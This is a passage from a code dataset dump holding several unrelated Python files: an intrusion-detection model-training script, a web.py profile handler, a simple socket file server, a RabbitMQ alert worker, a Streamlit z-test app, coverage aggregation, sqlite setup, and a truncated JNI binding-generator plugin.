Xtest\r\n\r\nnp.save('nsl_Xtrain_manual',Xtrain)\r\nnp.save('nsl_Ytrain_manual',Ytrain)\r\n\r\nnp.save('nsl_Xtest_manual',Xtest)\r\nnp.save('nsl_Ytest_manual',Ytest)\r\n\r\nnp.save('nsl_Xvalid_manual',Xvalid)\r\nnp.save('nsl_Yvalid_manual',Yvalid)\r\n#______________________________________________________________________________\r\n#_______________>>    Load Save NSL-KDD data Winded     <<_____________________\r\n\r\nXtrain = np.load(r'F:/Git/unsw4ist/Codez/nsl_Xtrain_winded.npy')\r\nYtrain = np.load(r'F:/Git/unsw4ist/Codez/nsl_Ytrain_winded.npy')\r\n\r\n\r\nXtest = np.load(r'F:/Git/unsw4ist/Codez/nsl_Xtest_winded.npy')\r\nYtest = np.load(r'F:/Git/unsw4ist/Codez/nsl_Ytest_winded.npy')\r\n\r\n\r\nXvalid = np.load(r'F:/Git/unsw4ist/Codez/nsl_Xvalid_winded.npy')\r\nYvalid = np.load(r'F:/Git/unsw4ist/Codez/nsl_Yvalid_winded.npy')\r\n\r\n\r\nYtrain_1hot = Ytrain\r\nYtest_1hot =Ytest\r\nYvalid_1hot = Yvalid\r\n\r\n\r\n#________________>>    Load Saved IoT20 data (with DNS)    <<__________________\r\nXtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Xtrain_dns.npy')\r\nYtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Ytrain_dns.npy')\r\n\r\nXtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Xtest_dns.npy')\r\nYtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Ytest_dns.npy')\r\n\r\nXvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Xvalid_dns.npy')\r\nYvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Yvalid_dns.npy')\r\n\r\nYtrain_1hot = Ytrain\r\nYtest_1hot =Ytest\r\nYvalid_1hot = Yvalid\r\nXtrain_orig = Xtrain\r\nXvalid_orig = Xvalid\r\nXtest_orig = Xtest\r\n\r\nXtrain_orig=Xtrain_orig.reshape(Xtrain_orig.shape[0],Xtrain_orig.shape[2])\r\nXtest_orig=Xtest_orig.reshape(Xtest_orig.shape[0],Xtest_orig.shape[2])\r\nXvalid_orig=Xvalid_orig.reshape(Xvalid_orig.shape[0],Xvalid_orig.shape[2])\r\n\r\nXtrain_orig=Xtrain_orig.reshape(Xtrain_orig.shape[0],1,Xtrain_orig.shape[1])\r\nXtest_orig=Xtest_orig.reshape(Xtest_orig.shape[0],1,Xtest_orig.shape[1])\r\nXvalid_orig=Xvalid_orig.reshape(Xvalid_orig.shape[0],1,Xvalid_orig.shape[1])\r\n\r\nXtrain = Xtrain.reshape(Xtrain.shape[0],Xtrain.shape[2])\r\nXtest = Xtest.reshape(Xtest.shape[0],Xtest.shape[2])\r\nXvalid = Xvalid.reshape(Xvalid.shape[0],Xvalid.shape[2])\r\n\r\nXtrain = Xtrain.reshape(Xtrain.shape[0],1,Xtrain.shape[1])\r\nXvalid = Xvalid.reshape(Xvalid.shape[0],1,Xvalid.shape[1])\r\nXtest = Xtest.reshape(Xtest.shape[0],1,Xtest.shape[1])\r\n\r\na=time.time()\r\n[y1,n1] = data_win(x1,1,100)\r\nb=time.time()\r\n#______________________________________________________________________________\r\n\r\n#_____________>>    Load Saved IoT20 data (without DNS)     <<_________________\r\nXtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Xtrain_no_dns.npy')\r\nYtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Ytrain_no_dns.npy')\r\n\r\nXtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Xtest_no_dns.npy')\r\nYtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Ytest_no_dns.npy')\r\n\r\nXvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Xvalid_no_dns.npy')\r\nYvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot_Yvalid_no_dns.npy')\r\n\r\nYtrain_1hot = Ytrain\r\nYtest_1hot =Ytest\r\nYvalid_1hot = Yvalid\r\nXtrain_orig = Xtrain\r\nXvalid_orig = Xvalid\r\nXtest_orig = Xtest\r\n\r\n#_______________>>    Load Save IoT20 data Winded     <<_______________________\r\n\r\nXtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\Xtrain_iot20_winded.npy')\r\nYtrain = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Ytrain_dns.npy')\r\nYtrain = Ytrain[99:]\r\n\r\nXtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\Xtest_iot20_winded.npy')\r\nYtest = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Ytest_dns.npy')\r\nYtest = Ytest[99:]\r\n\r\nXvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\Xvalid_iot20_winded.npy')\r\nYvalid = np.load(r'F:\\Git\\unsw4ist\\Codez\\iot20_Yvalid_dns.npy')\r\nYvalid = Yvalid[99:]\r\n\r\nYtrain_1hot = Ytrain\r\nYtest_1hot =Ytest\r\nYvalid_1hot = Yvalid\r\n#______________________________________________________________________________\r\n\r\nac_train_dc_gru  = np.zeros(len(layers))\r\nconf_train_dc_gru = np.zeros([len(layers),2,2])\r\n\r\nac_valid_dc_gru = np.zeros(len(layers))\r\nconf_valid_dc_gru = np.zeros([len(layers),2,2])\r\n\r\nac_test_dc_gru = np.zeros(len(layers))\r\ndr_test_dc_gru = np.zeros(len(layers))\r\nconf_test_dc_gru = np.zeros([len(layers),2,2])\r\npr_test_dc_gru = np.zeros(len(layers))\r\nfpr_test_dc_gru = np.zeros(len(layers))\r\n\r\nfor k in range (11):\r\n    Xtrain = globals()['Xtrain'+str(k)]\r\n    Xvalid = globals()['Xvalid'+str(k)]\r\n    Xtest = globals()['Xtest'+str(k)]\r\n    runfile('F:/Git/unsw4ist/Codez/GRU.py', wdir='F:/Git/unsw4ist/Codez', \\\r\n            current_namespace=True)\r\n    ac_train_dc_gru[k] =  ac_train_g[0]   \r\n    conf_train_dc_gru[k] = train_conf_matrix_g\r\n    ac_valid_dc_gru[k] = ac_valid_g[0]\r\n    conf_valid_dc_gru[k] = valid_conf_matrix_g\r\n    ac_test_dc_gru[k]  = ac_test_g[0] \r\n    conf_test_dc_gru[k] = test_conf_matrix_g\r\n#______________________________________________________________________________\r\n    \r\nac_train_dc_rf  = np.zeros(len(layers))\r\nconf_train_dc_rf = np.zeros([len(layers),2,2])\r\n\r\nac_valid_dc_rf = np.zeros(len(layers))\r\nconf_valid_dc_rf = np.zeros([len(layers),2,2])\r\n\r\nac_test_dc_rf = np.zeros(len(layers))\r\ndr_test_dc_rf = np.zeros(len(layers))\r\nconf_test_dc_rf = np.zeros([len(layers),2,2])\r\npr_test_dc_rf = np.zeros(len(layers))\r\nfpr_test_dc_rf = np.zeros(len(layers))\r\n\r\nfor k in range (11):\r\n    Xtrain = globals()['Xtrain'+str(k)]\r\n    Xvalid = globals()['Xvalid'+str(k)]\r\n    Xtest = globals()['Xtest'+str(k)]\r\n    runfile('F:/Git/unsw4ist/Codez/rf.py', wdir='F:/Git/unsw4ist/Codez', \\\r\n            current_namespace=True)\r\n    ac_train_dc_rf[k] =  ac_train_rf[0]   \r\n    conf_train_dc_rf[k] = train_con_matrix_rf\r\n    ac_valid_dc_rf[k] = ac_valid_rf[0]\r\n    conf_valid_dc_rf[k] = valid_con_matrix_rf\r\n    ac_test_dc_rf[k]  = ac_test_rf[0] \r\n    conf_test_dc_rf[k] = test_con_matrix_rf\r\n    \r\n    \r\n    \r\nyh_Xtrain_c = yh_Xtrain_c.reshape(len(yh_Xtrain_c))\r\nyh_valid_c = yh_valid_c.reshape(len(yh_valid_c))\r\nyh_test_c = yh_test_c.reshape(len(yh_test_c))\r\n\r\n#++++++++++++++++++++>>           OR           <<+++++++++++++++++++++++++++++                                        \r\nyh_Xtrain_or = yh_Xtrain_g | yh_Xtrain_c | yh_train_rf\r\nac_train_or = accuracy_score(Ytrain,yh_Xtrain_or)\r\nac_train_or_confusion = confusion_matrix (Ytrain,yh_Xtrain_or)\r\n\r\nyh_valid_or = yh_valid_g | yh_valid_c | yh_valid_rf\r\nac_valid_or = accuracy_score(Yvalid,yh_valid_or)\r\nac_valid_or_confusion = confusion_matrix (Yvalid,yh_valid_or)\r\n\r\nyh_test_or = yh_test_g | yh_test_rf | yh_test_c\r\nac_test_or = accuracy_score(Ytest,yh_test_or)\r\nac_test_or_confusion = confusion_matrix (Ytest,yh_test_or)\r\n\r\n\r\n#++++++++++++++++++++>>   Majority Opinion      <<+++++++++++++++++++++++++++++\r\nyh_Xtrain_major_sum = sum(np.array([yh_Xtrain_c,\\\r\n                            yh_Xtrain_g,\\\r\n                            yh_train_rf]))\r\nyh_Xtrain_major = np.zeros(len(yh_Xtrain_major_sum))\r\n    \r\nfor j in range (len(yh_Xtrain_major_sum)):\r\n    if yh_Xtrain_major_sum[j] > 1 :\r\n        yh_Xtrain_major[j] = 1\r\n\r\nac_train_cmbnd = accuracy_score(Ytrain_1hot,yh_Xtrain_major)\r\n\r\n#-----------------------------------------------------------------\r\nyh_test_major_sum = sum(np.array([yh_test_c,\\\r\n                            yh_test_g,\\\r\n                            yh_test_rf]))\r\n    \r\nyh_test_major = np.zeros(len(yh_test_major_sum))   \r\n\r\nfor j in range (len(yh_test_major_sum)):\r\n    if yh_test_major_sum[j] > 1:\r\n        yh_test_major[j] = 1      \r\n        \r\nac_test_cmbnd = accuracy_score(Ytest,yh_test_major)\r\nac_test_cmbnd_confusion = confusion_matrix (Ytest,yh_test_major)","sub_path":"nsl_set.py","file_name":"nsl_set.py","file_ext":"py","file_size_in_byte":8529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"264443650","text":"\nimport web\nimport time\nfrom model import update_db, fetch_db, change_profile\n\nclass update:\n\n    def GET(self):\n        render = web.template.render('templates/update')\n        return render.index(self.getName())\n\n    def POST(self):\n        data = web.input()\n        email = fetch_db()[\"session\"]\n        name = data[\"name\"]\n        pw = data[\"pw\"]\n        update_db(change_profile(fetch_db(), email, name, \"\", pw, 1))\n        raise web.redirect('/dashboard')\n\n    def getName(self):\n        db = fetch_db()\n        user = db[\"session\"]\n        return db[user][\"name\"]\n\n","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"423415360","text":"\"\"\"\r\n目标文件：确定文件来源路径\r\n下载到：确定下载后存放地址路径\r\n\r\n1.导入模块\r\n2.创建套接字\r\n*3.绑定端口\r\n*4.设置监听，设置套接字由主动为被动\r\n*5.接受客户端连接\r\n6.接收客户端发来的数据（文件名）\r\n   捕获异常（如果要下载的文件名不存在的情况下）\r\n7.查找文件（根据文件名读取内容）\r\n8.向客户端发送数据（循环）\r\n9.关闭和当前客户端的连接\r\n*10.关闭服务器\r\n加*的这几步都是自己仿写时遗漏的\r\n\r\n仍存在的问题是：\r\n多个客户端下载是同步的，必须是一个下载完成后，另一个客户端才能连接下载，就是说要排队\r\n\r\n\"\"\"\r\nimport socket\r\n\r\nServer_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n\r\nServer_socket.bind((\"\",8080))\r\n\r\nServer_socket.listen(128)\r\n\r\n#接收客户端连接\r\n#加循环，可以一次性接收多个文件\r\nwhile True:\r\n    ReciveCilentSocket,ip_port = Server_socket.accept()\r\n    print(\"欢迎新客户端：\",ip_port)\r\n\r\n    #接收客户端发来的文件名\r\n    Recive_data = ReciveCilentSocket.recv(1024)\r\n    Recive_name = Recive_data.decode()\r\n    print(Recive_name)\r\n\r\n    #异常捕获\r\n    try:\r\n        #根据文件名读取文件内容\r\n        #rb是指read binary，读二进制\r\n        with open(Recive_name,\"rb\") as file:\r\n            #把读取的内容发送给客户端（循环(因为每次能读1024个字节，所以需要循环多读几次)）\r\n                while True:\r\n                    file_date = file.read(1024)\r\n                    #如果filedate把文件内容读取完了，那么再读取的内容就是空的了\r\n                    #if filedate：表示如果filedate不为零（空，false），就是说filedate为真\r\n                    if file_date:\r\n                    #发送文件\r\n                        ReciveCilentSocket.send(file_date)\r\n                    else:\r\n                        break\r\n    except Exception as e:\r\n        print(\"文件%s下载失败\" %Recive_name)\r\n    else:\r\n        print(\"文件%s下载成功\" %Recive_name)\r\n\r\n    #关闭与当前客户端的连接\r\n    ReciveCilentSocket.close()\r\n\r\n\r\n#服务器\r\n#说服务器关闭套接字这句永远不会执行，永不执行是可以的，因为服务器除了断电，时刻在提供服务\r\nServer_socket.close()","sub_path":"file_downlad_server.py","file_name":"file_downlad_server.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"438706506","text":"import json\nfrom sendmail import send\nimport pika\n\nconnection = pika.BlockingConnection(\n    pika.ConnectionParameters('localhost')\n)\n\nchannel = connection.channel()\n\nchannel.exchange_declare(\n    exchange='logs',\n    exchange_type='fanout'\n)\n\nresults = channel.queue_declare(exclusive=True)\n\nqueue_name = results.method.queue\n\nchannel.queue_bind(exchange='logs', queue=queue_name)\n\nprint(\"[*] Starting worker error alert with queue {}\".format(queue_name))\n\n\ndef callback(ch, method, propierties, body):\n    body = str(body)[2:-1:]\n    body = json.loads(body)\n    if body['type'] == '2':\n        message = \"[{}]: {} {} \".format(\n            body['type'],\n            body['code'],\n            body['body'])\n        send(message, 'Error Alert', 'danielsistem.ing96@gmail.com')\n        print(message)\n\n\nchannel.basic_consume(callback, queue=queue_name)\n\nchannel.start_consuming()\n","sub_path":"Activity 2/worker_alert.py","file_name":"worker_alert.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"138389","text":"import math\nimport scipy.stats\nimport scipy.special as scsp\nimport numpy as np\nimport streamlit as st\n\nst.title(\"2 Sample Z Test\")\n\nu1,u2=0,0\ndiff=st.number_input(\" Enter u1- u2 value : \")#10\nsigma1=st.number_input(\" Enter sigma1 value : \")#50\nsigma2=st.number_input(\" Enter sigma2 value : \")#60\nx1_bar=st.number_input(\" Enter x1_bar value : \")#25\nx2_bar=st.number_input(\" Enter x2_bar value : \")#124\nn1=st.number_input(\" Enter n1 value : \")#24\nn2=st.number_input(\" Enter n2 value : \")#25\nsignificance_level=st.number_input(\" Enter significance_level value : \")#0.05\n\n\n\n\n#---------------------Hypothesis test start---------------\n# ho=\"=\"#input(\"u:(p)  u_0 : \")\n# ha=\"!=\"#input(\"u:(p)  u_0 : \")\n\nho = st.selectbox(\n            \"Ho:(p)  P0 : \",\n            ('==', '>=', '<='))  # \"=\"input(\"Ho:(p)  P0 : \")\nha = st.selectbox(\n            \"Ho:(p)  P0 : \",\n            ('!=', '>', '<'))\n\n\n\ndef rejection_region():\n    def hypo_test(ho, ha):\n\n        if ((ho == \">=\" and ha == \"!=\") or (ho == \">=\" and ha == \">\") or (ho == \"<=\" and ha == \"!=\") or (\n                ho == \"<=\" and ha == \"<\")):\n            return False\n        elif (ha == \"<\"):\n            return \"Left_tail\"\n        elif (ha == \">\"):\n            return \"Right_tail\"\n        else:\n            return \"Two_tail\"\n\n    st.write(\"Ho:(u) :  u1-u2  \" + ho + f\": {diff}\")\n    st.write(\"Ha:(u) :  u1-u2 \" + ha + f\" : {diff}\")\n\n    # ---------------------Hypothesis test end---------------\n\n    # ---------------Test Statistic start ----------------\n    z = (x1_bar - x2_bar - diff) / (math.sqrt((sigma1 * sigma1) / n1 + (sigma2 * sigma2) / n2))\n\n    # ---------------Test Statistic end ------------------\n\n    # ----------------P value from Z Start-------------\n    p_left = round(0.5 * (1 + scsp.erf(float(z) / np.sqrt(2))), 5)\n    p_right = 1 - p_left\n    p_two_tailed = 1\n    if float(z) < 0:\n        p_two_tailed = 2 * p_left\n    else:\n        p_two_tailed = 2 * p_right\n    # #----------------P value from Z End-------------\n\n\n    st.write(\" Rejection Region is : \")\n    # Rejection Region for 2 tail\n    if (hypo_test(ho, ha) == \"Two_tail\"):\n        z_critical = ((-(scipy.stats.norm.ppf(1 - significance_level / 2))))\n        st.write(f\"z critical <{z_critical}\" if z < 0 else f\"z critica >{abs(z_critical)}\")\n        # st.write(\"\\nTwo Null hypothesis is rejected \")\n        st.write(\"z test statistic  is :\", (z))\n        st.write(\"Decision through z statistic : \")\n        st.write(\n            f\"since test statistic z calculated < {round(z_critical, 2)} \\n Therefore Null hypothesis is rejected\" if z < z_critical else f\"since test statistic z calculated > {round(z_critical, 2)} \\n Therefore Null hypothesis is not rejected\")\n        st.write(\"Decision through p value : \")\n        st.write(\"p_value is : \", p_two_tailed)\n        st.write(f\"since p value is < {significance_level}\")\n\n    # Rejection Region for left tail\n    if (hypo_test(ho, ha) == \"Left_tail\"):\n        z_critical = (-(scipy.stats.norm.ppf(1 - significance_level / 2)))\n        st.write(f\"z critical value is : {z_critical}\")\n        st.write(\"z test statistic  is  :\", (z))\n        st.write(\"Decision through z statistic :\")\n        st.write(\n            f\"since test statistic z calculated < {round(z_critical, 2)} \\n Therefore Null hypothesis is rejected\" if z < z_critical else f\"since test statistic z calculated > {round(z_critical, 2)} \\n Therefore Null hypothesis is not rejected\")\n        st.write(\"Decision through p value : \")\n        st.write(\"p_value is : \", p_left)\n        st.write(f\"p_left < {significance_level}\")\n\n    # Rejection Region for right tail\n    z_critical = scipy.stats.norm.ppf(1 - significance_level)\n    if (hypo_test(ho, ha) == \"Right_tail\"):\n        if z > (scipy.stats.norm.ppf(1 - significance_level / 2)):\n            st.write(\"\\nRight Null hypothesis is rejected \")\n        st.write(f\"z critical value is : {z_critical}\")\n        st.write(\"z test statistic  is : \", (z))\n        st.write(\"Decision through z statistic :\")\n        st.write(\n            f\"since test statistic z calculated < {round(z_critical, 2)} \\n Therefore Null hypothesis is rejected\" if z > z_critical else f\"since test statistic z calculated > {round(z_critical, 2)} \\n Therefore Null hypothesis is not rejected\")\n        st.write(\"Decision through p value : \")\n        st.write(\"p_value is : \", p_right)\n        st.write(f\"p_right > {significance_level}\")\n\nif (st.button(\"calculate\")):\n\n    rejection_region()\n\n# --------------------------Rejection Region End---------------------------------","sub_path":"2_sample_z_test.py","file_name":"2_sample_z_test.py","file_ext":"py","file_size_in_byte":4537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"260992351","text":"import os\nfrom bitarray import bitarray\n\n\ndef readFile(filepath):\n    f = open(filepath)\n    content = f.read()\n    f.close()\n    return content.splitlines()\n\n\n\nif __name__ == '__main__':\n    path_c = './subjects/experiment/'\n    subjects = readFile(path_c + 'uselist-all')\n\n    for subject in subjects:\n        subject_path_m = path_c + subject + '/testmethod/dynamic/'\n        subject_path_c = path_c + subject + '/testclass/'\n        if os.path.exists(subject_path_c) == False:\n            os.makedirs(subject_path_c)\n        testlist = readFile(subject_path_m + 'testList')\n        if os.path.exists(subject_path_m + 'exeTime') == True:\n            exetime = readFile(subject_path_m + 'exeTime')\n        else:\n            exetime = readFile(subject_path_m + 'exeTime.txt')\n        for time_index in range(len(exetime)):\n            exetime[time_index] = eval(exetime[time_index])\n        cov = readFile(subject_path_m + 'stateMatrix-reduce.txt')\n        mutant = readFile(subject_path_m + 'mutantkill-reduce')\n        os.system('cp %s %s'%(subject_path_m + 'testList', subject_path_c))\n        os.system('cp %s %s'%(subject_path_m + 'reduce-index.txt', subject_path_c))\n        os.system('cp %s %s'%(subject_path_m + 'mutantkill-reduce-index', subject_path_c))\n        #os.system('cp %s %s'%(subject_path_m + 'usemutant-info', subject_path_c))\n        testdict = {}\n        for test_index in range(len(testlist)):\n            test_m = testlist[test_index]\n            if '/' in test_m:\n                #print('yes1')\n                test_c = '/'.join(test_m.split('/')[0:-1])\n            elif '.' in test_m:\n                #print('yes2')\n                test_c = '.'.join(test_m.split('.')[0:-1])\n            else:\n                raw_input('error check..')\n            if test_c in testdict.keys():\n                testdict[test_c].append(test_index)\n            else:\n                testdict[test_c] = [test_index]\n        f_test = open(subject_path_c + 'testList','w')\n        f_cov = open(subject_path_c + 'stateMatrix-reduce.txt','w')\n        f_time = open(subject_path_c + 'exeTime','w')\n        f_mutant = open(subject_path_c + 'mutantkill-reduce','w')\n        for test_class in testdict.keys():\n            temptime = 0\n            tempcov = bitarray('0' * len(cov[0]))\n            tempmutant = bitarray('0' * len(mutant[0]))\n            f_test.write(test_class + '\\n')\n            for test_index in testdict[test_class]:\n                tempcov = tempcov|bitarray(cov[test_index])\n                tempmutant = tempmutant|bitarray(mutant[test_index])\n                temptime = temptime + exetime[test_index]\n            f_cov.write(bitarray.to01(tempcov) + '\\n')\n            f_mutant.write(bitarray.to01(tempmutant) + '\\n')\n            f_time.write(str(temptime) + '\\n')\n        f_test.close()\n        f_cov.close()\n        f_mutant.close()\n        f_time.close()\n        #raw_input(subject + ' check ...')\n        print(subject + ' is completed!')\n    \n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"code/6collect_classlevel.py","file_name":"6collect_classlevel.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"587761851","text":"# https://docs.python.org/3/library/sqlite3.html#module-sqlite3\r\n# https://sqlitestudio.pl/index.rvt?act=download\r\n\r\nimport sqlite3\r\n\r\ndb = sqlite3.connect('test_db.sqlite')\r\ncursor = db.cursor()\r\n\r\ncursor.execute('''\r\nCREATE TABLE users (\r\n    id INTEGER PRIMARY KEY,\r\n    name TEXT NOT NULL,\r\n    email TEXT NOT NULL UNIQUE\r\n)\r\n''')\r\n\r\ndb.close()\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"final_lesson_smart-main/lesson45.py","file_name":"lesson45.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"43150026","text":"# coding: utf-8\nimport math\n\nfrom blueboss import common as bc\nfrom blueboss import writer as bw\nimport plugin\nimport bridge\nimport jclass\nimport jpath\nimport builtin_plugin\nimport builtin_reference_plugin\nimport function_converter\n\nGET_DIRECT_ADDRESS = \"_get_direct_address\"\n\n\nclass PointerAtDecl(bc.CXXMethodDecl):\n    pass\n\n\nclass PointerCAtDecl(bc.CXXMethodDecl):\n    pass\n\n\nclass PointerClass(jclass.Class):\n    pass\n\n\nclass WrapVoidPtrDecl(bc.CXXMethodDecl):\n    pass\n\n\nclass WrapArrayDecl(bc.CXXMethodDecl):\n    pass\n\n\nclass WrapVoidPtrArg(bc.ParmVarDecl):\n    pass\n\n\nclass WrapArrayArg(bc.ParmVarDecl):\n    pass\n\n\nclass BuiltinPointerArgConverter(\n        builtin_reference_plugin.BuiltinReferenceArgConverter):\n\n    @classmethod\n    def check(klass, creator, arg, func_conv):\n        cxx_type = arg.type\n        if (isinstance(cxx_type, bc.PointerType) and\n                isinstance(cxx_type.pointeeType, bc.BuiltinType)):\n            return klass(creator, arg, func_conv)\n\n    def getJniCall(self):\n        return '(%s<%s>(_jenv, %s))' % (bridge.GET_FUNC_NAME,\n                                        self.arg.type.pointeeType.spelling,\n                                        self.getArgName())\n\n\nclass WrapVoidPtrArgConverter(BuiltinPointerArgConverter):\n\n    @classmethod\n    def check(klass, creator, arg, func_conv):\n        if isinstance(arg, WrapVoidPtrArg):\n            return klass(creator, arg, func_conv)\n\n    def imports(self):\n        return []\n\n    def importsSys(self):\n        return [jpath.ByteBuffer]\n\n    def getJavaPubType(self):\n        return jpath.ByteBuffer.getClassPath()\n\n    def getJavaPrivCall(self):\n        return self.getArgName()\n\n    def dumpJavaPrivCallPre(self, source):\n        i = bw.java.If(\"!%s.isDirect()\" % self.getArgName())\n        i << ('throw new RuntimeException'\n              '(\"ByteBuffer must be direct buffer\");')\n        source << i\n\n    def getJniCall(self):\n        return \"%s<void*>(_jenv, %s)\" % (GET_DIRECT_ADDRESS, self.getArgName())\n\n\nclass WrapArrayArgConverter(WrapVoidPtrArgConverter):\n\n    @classmethod\n    def check(klass, creator, arg, func_conv):\n        if isinstance(arg, WrapArrayArg):\n            return klass(creator, arg, func_conv)\n\n    def importsSys(self):\n        jtype = builtin_plugin.getJavaBuiltinType(self.creator.target_info,\n                                                  self.arg.type.pointeeType)\n        Jtype = jtype[0].upper() + jtype[1:]\n        bb = jpath.JPath(('java', 'nio', '%sBuffer' % Jtype, ), True,\n                         ('java', 'nio'), ('%sBuffer' % Jtype, ))\n        return [bb, jpath.ByteOrder]\n\n    def getJavaPubType(self):\n        return '%s []' % (builtin_plugin.getJavaBuiltinType(\n            self.creator.target_info, self.arg.type.pointeeType), )\n\n    def dumpJavaPrivCallPre(self, source):\n        jtype = builtin_plugin.getJavaBuiltinType(self.creator.target_info,\n                                                  self.arg.type.pointeeType)\n        bits = builtin_plugin.getJavaBuiltinTypeBits(self.creator.target_info,\n                                                     self.arg.type.pointeeType)\n        bn = int(math.ceil(bits / 8.0))\n        Jtype = jtype[0].upper() + jtype[1:]\n        # print jtype, bits\n        source << (\n            'ByteBuffer _bb_ = ByteBuffer.allocateDirect(%d * %s.length);' % (\n                bn, self.getArgName()))\n        source << '_bb_.order(ByteOrder.nativeOrder());'\n        source << '%sBuffer _tmp_bb = _bb_.as%sBuffer();' % (Jtype, Jtype)\n        source << '_tmp_bb.put(%s);' % self.getArgName()\n        # source << 'return new Bridge.Float.Ptr(bb, false, new Bridge());'\n\n    def getJavaPrivCall(self):\n        return \"_bb_\"\n\n    def getJniCall(self):\n        return \"%s<%s*>(_jenv, %s)\" % (GET_DIRECT_ADDRESS,\n                                       self.arg.type.pointeeType.spelling,\n                                       self.getArgName())\n\n\nclass BuiltinPointerReturnConverter(\n        builtin_reference_plugin.BuiltinReferenceReturnConverter):\n\n    @classmethod\n    def check(klass, creator, cxx_type, func_conv):\n        if (isinstance(cxx_type, bc.PointerType) and\n                isinstance(cxx_type.pointeeType, bc.BuiltinType)):\n            return klass(creator, cxx_type, func_conv)\n\n    def getReferenceString(self):\n        return \"new Object()\"\n\n    def dumpJniCall(self, source, call_string):\n        source << ('p->p = const_cast<%s*>(%s);' %\n                   (self.cxx_type.pointeeType.spelling,\n                    call_string, ))\n\n\nclass InstanceArgConverter(BuiltinPointerArgConverter):\n\n    def __init__(self, creator, decl, func_conv):\n        arg = bc.ParmVarDecl(\"_this\",\n                             bc.PointerType(bc.BuiltinType(decl.name)))\n        super(InstanceArgConverter, self).__init__(creator, arg, func_conv)\n\n    def imports(self):\n        return []\n\n    def importsSys(self):\n        return [jpath.ByteBuffer]\n\n    def getJavaPrivCall(self):\n        return 'this.__getBB()'\n\n    def getJavaPrivType(self):\n        return \"ByteBuffer\"\n\n\nclass BuiltinPointerBaseMethodConverter(function_converter.FunctionConverter):\n\n    def __init__(self, creator, decl):\n        super(BuiltinPointerBaseMethodConverter, self).__init__(creator, decl)\n        self.instance_arg_converter = InstanceArgConverter(creator,\n                                                           decl.parent, self)\n\n    def isStatic(self):\n        return self.decl.isStatic\n\n    def getBridgeArgConverters(self):\n        return [self.instance_arg_converter] + self.arg_converters\n\n\nclass PointerAtConverter(BuiltinPointerBaseMethodConverter):\n\n    @classmethod\n    def check(klass, creator, decl):\n        if type(decl) is PointerAtDecl:\n            return klass(creator, decl)\n\n    def getJniCallString(self):\n        l = map(lambda x: x.getJniCall(), self.getBridgeArgConverters())\n        return '%s[%s]' % (l[0], l[1])\n\n\nclass PointerCAtConverter(BuiltinPointerBaseMethodConverter):\n\n    @classmethod\n    def check(klass, creator, decl):\n        if type(decl) is PointerCAtDecl:\n            return klass(creator, decl)\n\n    def getJniCallString(self):\n        l = map(lambda x: x.getJniCall(), self.getBridgeArgConverters())\n        return '%s[%s]' % (l[0], l[1])\n\n\nclass WrapVoidPtrReturnConverter(BuiltinPointerReturnConverter):\n    def getReferenceString(self):\n        return self.func_conv.arg_converters[0].getArgName()\n\n\n# class WrapVoidPtrConverter(BuiltinPointerBaseMethodConverter):\nclass WrapVoidPtrConverter(function_converter.FunctionConverter):\n\n    @classmethod\n    def check(klass, creator, decl):\n        if type(decl) is WrapVoidPtrDecl:\n            return klass(creator, decl)\n\n    # def isStatic(self):\n    #     return True\n\n    def getReturnConverter(self):\n        return WrapVoidPtrReturnConverter(\n            self.creator, self.decl.returnType, self)\n\n    def getJniCallString(self):\n        l = map(lambda x: x.getJniCall(), self.getBridgeArgConverters())\n        # return '%s(%s)' % (self.decl.name, ', '.join(l))\n        return l[0]\n\n\nclass WrapArrayConverter(WrapVoidPtrConverter):\n\n    @classmethod\n    def check(klass, creator, decl):\n        if type(decl) is WrapArrayDecl:\n            return klass(creator, decl)\n\n    # def getJavaPrivName(self):\n    #     return None\n\n    # def getJavaPrivCallString(self):\n    #     l = map(lambda x: x.getJavaPrivCall(), self.getBridgeArgConverters())\n    #     return 'return %s(%s)' % (\"wrap\", ', '.join(l))\n\n\nclass BuiltinPointerPlugin(plugin.Plugin):\n\n    def includesSys(self):\n        return [\"cstdint\"]\n\n    def depends(self):\n        return [builtin_reference_plugin.BuiltinReferencePlugin]\n\n    def resolveFilter(self, decl_or_type):\n        return (isinstance(decl_or_type, bc.PointerType) and\n                isinstance(decl_or_type.pointeeType, bc.BuiltinType))\n\n    def __getConverter(self, l, *args):\n        for i in l:\n            r = i(self.creator, *args)\n            if r:\n                return r\n\n    def getFunctionConverter(self, func_decl, decl_class=None):\n        l = [\n            PointerAtConverter.check,\n            PointerCAtConverter.check,\n            WrapVoidPtrConverter.check,\n            